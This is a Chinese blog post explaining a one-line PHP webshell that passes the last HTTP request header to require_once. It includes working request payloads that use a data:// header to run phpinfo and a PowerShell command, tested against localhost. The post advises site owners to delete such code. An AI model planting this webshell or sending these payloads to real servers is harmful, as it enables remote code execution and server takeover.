网站首页 > 开源技术 正文
前不久,在网上看到过一个变形的PHP的webshell,非常有意思,利用的是伪协议来执行代码或命令。
这个PHP的webshell是如何写的呢?代码如下:
<?php
require_once(end(apache_request_headers()));
我来解释一下这段代码的几个函数:
1. apache_request_headers()
作用:获取当前 HTTP 请求的所有请求头(headers),返回一个关联数组,例如:
<PHP>
[
"Host" => "example.com",
"User-Agent" => "Mozilla/5.0",
"Accept" => "text/html",
"X-Malicious-Header" => "evil.php" // 攻击者可控的 header
]
2. end()
作用:返回数组的最后一个元素的值。例如:
<PHP>
$headers = ["Host" => "example.com", "X-Header" => "hack.php"];
echo end($headers); // 输出 "hack.php"
3. require_once()
作用:加载并执行指定的 PHP 文件。如果文件路径可控,攻击者可以包含任意文件(包括远程文件)。
如果实现攻击呢?我们只要在发送包里发送恶意代码就可以了,前提是php.ini里的allow_url_include要打开。
我们发送如下代码就可以了,111.php就是有以上代码的文件了。我们本机用Yakit测试一下:
GET /111.php HTTP/1.1
rce: data://text/plain,<?php phpinfo();?>
Host: 127.0.0.1
执行命令发送如下包就可以了:
GET /111.php HTTP/1.1
rce:data://text/plain,<?php system("powershell -c \"Get-LocalUser\"");?>
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
如果你网站服务器看到有这样一段代码,就立马删掉吧。如果你是渗透测试人员,如何想更好利用,多学点PHP代码就可以了。
猜你喜欢
- 2025-05-02 10款鲜为人知的PHP框架(10款鲜为人知的php框架代码)
- 2025-05-02 3分钟搞懂反弹shell(反弹shell的常用命令)
- 2025-05-02 计算机专业必须掌握的脚本开发语言—shell
- 2025-05-02 shell 基本语法(shell基本语法set)
- 2025-05-02 学习Shell 教程(shell编程学习)
- 2025-05-02 Linux入门-shell编程-适合小白(linux shell编程是什么)
- 2024-08-25 命令执行底层原理探究-PHP(一)(命令行执行php)
- 2024-08-25 PHP都能够与那些编程语言一起合作干大事,哈哈,你一定没有想全吧
- 2024-08-25 网站渗透总结之Getshell用法大全(网页渗透工具)
- 2024-08-25 命令执行底层原理探究-PHP(三)(执行命令的代码)
你 发表评论:
欢迎- 最近发表
-
- 10款鲜为人知的PHP框架(10款鲜为人知的php框架代码)
- 3分钟搞懂反弹shell(反弹shell的常用命令)
- 计算机专业必须掌握的脚本开发语言—shell
- shell 基本语法(shell基本语法set)
- 学习Shell 教程(shell编程学习)
- 一个有意思的PHP Webshell,利用伪协议执行代码
- Linux入门-shell编程-适合小白(linux shell编程是什么)
- GrayLog开源日志管理平台技术文章合集【共58篇】
- AI大模型 MiniMax 基于 Apache Doris 的日志系统,PB 级秒级查询响应
- 互联网大厂后端必看!手把手教你替换 Spring Boot 中的日志框架
- 标签列表
-
- jdk (81)
- putty (66)
- rufus (78)
- 内网穿透 (89)
- okhttp (70)
- powertoys (74)
- windowsterminal (81)
- netcat (65)
- ghostscript (65)
- veracrypt (65)
- asp.netcore (70)
- wrk (67)
- aspose.words (80)
- itk (80)
- ajaxfileupload.js (66)
- sqlhelper (67)
- express.js (67)
- phpmailer (67)
- xjar (70)
- redisclient (78)
- wakeonlan (66)
- tinygo (85)
- startbbs (72)
- webftp (82)
- vsvim (79)
本文暂时没有评论,来添加一个吧(●'◡'●)